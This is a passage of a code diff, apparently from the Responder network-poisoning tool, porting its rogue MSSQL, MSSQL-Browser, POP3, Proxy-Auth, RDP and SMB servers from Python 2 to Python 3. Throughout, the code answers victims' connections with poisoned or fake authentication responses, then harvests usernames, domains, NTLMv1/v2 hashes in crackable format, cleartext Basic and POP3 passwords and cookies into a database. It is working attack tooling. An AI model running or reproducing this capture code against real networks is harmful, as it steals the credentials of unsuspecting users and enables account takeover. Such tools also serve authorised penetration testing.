UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
|
||||
if NthashLen == 24:
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
|
|
@ -85,7 +88,7 @@ def ParseSQLHash(data, client, Challenge):
|
|||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
|
|
@ -99,10 +102,10 @@ def ParseSQLHash(data, client, Challenge):
|
|||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = ''
|
||||
Pw = b''
|
||||
for x in Pwd:
|
||||
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
|
||||
return Pw
|
||||
Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex')
|
||||
return Pw.decode('latin-1')
|
||||
|
||||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
|
@ -122,57 +125,62 @@ class MSSQL(BaseRequestHandler):
|
|||
def handle(self):
|
||||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
|
||||
if data[0] == "\x12": # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(Buffer)
|
||||
self.ntry = 0
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
if data[0] == "\x10": # NegoSSP
|
||||
if re.search("NTLMSSP",data):
|
||||
Challenge = RandomChallenge()
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(Buffer)
|
||||
if not data:
|
||||
break
|
||||
if settings.Config.Verbose:
|
||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
|
||||
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
if data[0] == "\x11": # NegoSSP Auth
|
||||
ParseSQLHash(data,self.client_address[0],Challenge)
|
||||
if data[0] == b"\x10" or data[0] == 16: # NegoSSP
|
||||
if re.search(b'NTLMSSP',data):
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth
|
||||
ParseSQLHash(data,self.client_address[0],Challenge)
|
||||
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
# MSSQL Server Browser class
|
||||
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
|
||||
class MSSQLBrowser(BaseRequestHandler):
|
||||
def handle(self):
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
|
||||
print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]))
|
||||
|
||||
data, soc = self.request
|
||||
|
||||
if data:
|
||||
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||
self.send_response(soc, "MSSQLSERVER")
|
||||
elif data[0] == "\x04": # CLNT_UCAST_INST
|
||||
elif data[0] == b'\x04': # CLNT_UCAST_INST
|
||||
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||
elif data[0] == "\x0F": # CLNT_UCAST_DAC
|
||||
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
|
||||
self.send_dac_response(soc)
|
||||
|
||||
def send_response(self, soc, inst):
|
||||
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
|
||||
print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]))
|
||||
|
||||
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
|
||||
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
|
||||
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
|
||||
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + NetworkSendBufferPython2or3(resp), self.client_address)
|
||||
|
||||
def send_dac_response(self, soc):
|
||||
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
|
||||
print(text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]))
|
||||
|
||||
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)
|
||||
soc.sendto(NetworkSendBufferPython2or3(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433)), self.client_address)
|
||||
|
|
|
|||
|
|
@ -15,25 +15,33 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket,POPNotOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
return self.request.recv(1024)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
if data[0:4] == b'CAPA':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'AUTH':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'USER':
|
||||
User = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
data = self.SendPacketAndRead()
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
|
|
|
|||
|
|
@ -14,15 +14,18 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import SocketServer
|
||||
from HTTP import ParseHTTPHash
|
||||
from packets import *
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from servers.HTTP import ParseHTTPHash
|
||||
from packets import *
|
||||
|
||||
def GrabUserAgent(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
if UserAgent:
|
||||
print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||
|
||||
def GrabCookie(data):
|
||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
|
@ -30,8 +33,8 @@ def GrabCookie(data):
|
|||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1:
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)))
|
||||
|
||||
return Cookie
|
||||
return False
|
||||
|
|
@ -41,8 +44,8 @@ def GrabHost(data):
|
|||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2))
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2)))
|
||||
|
||||
return Host
|
||||
return False
|
||||
|
|
@ -52,36 +55,35 @@ def PacketSequence(data, client, Challenge):
|
|||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == "\x01":
|
||||
if Packet_NTLM == b'\x01':
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
return str(Buffer_Ans)
|
||||
if Packet_NTLM == "\x03":
|
||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
elif Basic_Auth:
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1'))
|
||||
SaveToDb({
|
||||
'module': 'Proxy-Auth',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.split(':')[0],
|
||||
'cleartext': ClearText_Auth.split(':')[1],
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
})
|
||||
|
||||
return False
|
||||
|
|
@ -89,24 +91,51 @@ def PacketSequence(data, client, Challenge):
|
|||
if settings.Config.Basic:
|
||||
Response = WPAD_Basic_407_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
|
||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
|
||||
|
||||
else:
|
||||
Response = WPAD_Auth_407_Ans()
|
||||
|
||||
return str(Response)
|
||||
|
||||
class Proxy_Auth(SocketServer.BaseRequestHandler):
|
||||
class Proxy_Auth(BaseRequestHandler):
|
||||
|
||||
|
||||
def handle(self):
|
||||
def handle(self):
|
||||
try:
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(2):
|
||||
data = self.request.recv(4096)
|
||||
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
||||
Challenge = RandomChallenge()
|
||||
while True:
|
||||
self.request.settimeout(3)
|
||||
remaining = 10*1024*1024 #setting max recieve size
|
||||
data = ''
|
||||
while True:
|
||||
buff = ''
|
||||
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||
if buff == '':
|
||||
break
|
||||
data += buff
|
||||
remaining -= len(buff)
|
||||
#check if we recieved the full header
|
||||
if data.find('\r\n\r\n') != -1:
|
||||
#we did, now to check if there was anything else in the request besides the header
|
||||
if data.find('Content-Length') == -1:
|
||||
#request contains only header
|
||||
break
|
||||
else:
|
||||
#searching for that content-length field in the header
|
||||
for line in data.split('\r\n'):
|
||||
if line.find('Content-Length') != -1:
|
||||
line = line.strip()
|
||||
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||
if remaining <= 0:
|
||||
break
|
||||
if data == "":
|
||||
break
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -14,71 +14,79 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
|
||||
import struct
|
||||
import re
|
||||
import ssl
|
||||
import codecs
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'RDP',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NTLMHash,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'RDP',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': NTLMHash,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
||||
def FindNTLMNegoStep(data):
|
||||
NTLMStart = data.find('NTLMSSP')
|
||||
NTLMStart = data.find(b'NTLMSSP')
|
||||
NTLMString = data[NTLMStart:]
|
||||
NTLMStep = NTLMString[8:12]
|
||||
if NTLMStep == "\x01\x00\x00\x00":
|
||||
if NTLMStep == b'\x01\x00\x00\x00':
|
||||
return NTLMStep
|
||||
if NTLMStep == "\x03\x00\x00\x00":
|
||||
if NTLMStep == b'\x03\x00\x00\x00':
|
||||
return NTLMStep
|
||||
else:
|
||||
return False
|
||||
|
|
@ -88,44 +96,44 @@ class RDP(BaseRequestHandler):
|
|||
try:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(30)
|
||||
Challenge = RandomChallenge()
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
if data[11:12] == "\x01":
|
||||
if data[11:12] == b'\x01':
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
h = TPKT(Data=x)
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(buffer1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock.settimeout(30)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
x.calculate()
|
||||
SSLsock.write(str(x))
|
||||
SSLsock.write(NetworkSendBufferPython2or3(x))
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
||||
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
|
||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||
|
||||
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
|
||||
if data[len(data)-4:] == "\x03\x00\x00\x00":
|
||||
if data[len(data)-4:] == b'\x03\x00\x00\x00':
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
h = TPKT(Data=x)
|
||||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(buffer1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(8092)
|
||||
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
x.calculate()
|
||||
SSLsock.write(str(x))
|
||||
SSLsock.write(NetworkSendBufferPython2or3(x))
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
|
||||
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
|
||||
ParseNTLMHash(data,self.client_address[0], Challenge)
|
||||
|
||||
else:
|
||||
|
|
|
|||
274
servers/SMB.py
274
servers/SMB.py
|
|
@ -14,12 +14,15 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct, re
|
||||
import codecs
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from random import randrange
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
import re
|
||||
|
||||
|
||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||
|
|
@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data):
|
|||
if Dialect[i] == 'NT LM 0.12':
|
||||
return chr(i) + '\x00'
|
||||
|
||||
|
||||
def midcalc(data): #Set MID SMB Header field.
|
||||
return data[34:36]
|
||||
|
||||
|
||||
|
||||
def uidcalc(data): #Set UID SMB Header field.
|
||||
return data[32:34]
|
||||
|
||||
|
||||
def pidcalc(data): #Set PID SMB Header field.
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
|
||||
def tidcalc(data): #Set TID SMB Header field.
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
|
||||
print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')))
|
||||
|
||||
def GrabMessageID(data):
|
||||
Messageid = data[28:36]
|
||||
|
|
@ -74,8 +72,8 @@ def GrabMessageID(data):
|
|||
|
||||
def GrabCreditRequested(data):
|
||||
CreditsRequested = data[18:20]
|
||||
if CreditsRequested == "\x00\x00":
|
||||
CreditsRequested = "\x01\x00"
|
||||
if CreditsRequested == b'\x00\x00':
|
||||
CreditsRequested = b'\x01\x00'
|
||||
else:
|
||||
CreditsRequested = data[18:20]
|
||||
return CreditsRequested
|
||||
|
|
@ -89,23 +87,25 @@ def GrabSessionID(data):
|
|||
return SessionID
|
||||
|
||||
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
|
|
@ -117,14 +117,15 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
|||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
|
|
@ -139,13 +140,13 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
|
|||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
|
||||
Username, Domain = tuple([e.decode('latin-1') for e in data[89+NthashLen:Bcc+60].split(b'\x00\x00\x00')[:2]])
|
||||
|
||||
if NthashLen > 25:
|
||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
||||
FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex')
|
||||
LmHash = FullHash[:32].upper()
|
||||
NtHash = FullHash[32:].upper()
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMB',
|
||||
|
|
@ -157,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
|
|||
})
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
|
||||
|
||||
NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper()
|
||||
LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper()
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
SaveToDb({
